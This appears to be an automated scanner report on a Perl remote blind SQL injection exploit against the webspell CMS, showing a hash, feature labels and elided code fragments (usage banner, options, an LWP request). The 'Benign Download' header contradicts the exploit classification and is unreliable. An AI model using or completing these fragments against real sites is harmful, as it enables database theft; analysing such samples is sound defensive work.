Benign Download

Exploit.Perl.CMS.e

imports LWP::UserAgentPerl LWP HTTP client import

SHA-256ddb5820a3586fbaae5fde3e94b5a155ae569e4faa9c9a2b57238d4ba89c83c7a

Evidence

imports LWP::UserAgent lines 1–9

1:18… 2 (showonly) Remote Blind SQL Injection Exploit
2#!/usr/bin/perl
3use LWP::UserAgent;
4use Getopt::Long;
5
6if(!$ARGV[1])
7{
8  print "\n                           \\#'#/                       ";
9  print "\n            …

English function-word token "with" lines 11–13

56…  Injection |";
print "\n   |      (works only with register_globals = on)      |";
print "\n   |                   coded by DNX                  …

Perl sigil variable declaration lines 17–31

21… : perl ws.pl [Host] [Path] <Options>";
print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user";
print "\n[!] Options:";
print "\n       -i [no]       User-ID, default is 1";
print "\n       -t [name]     Changed the user table name, default is webs_user";
print "\n       -p [ip:port]  Proxy support";
print "\n";
⋯8 lines

Perl subroutine definition lines 71–84

71:8… h++;
72    }
73  }
74}
75
⋯9 lines

Perl LWP GET call lines 92–103

13… xy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;
my $regexp = "Author";
⋯6 lines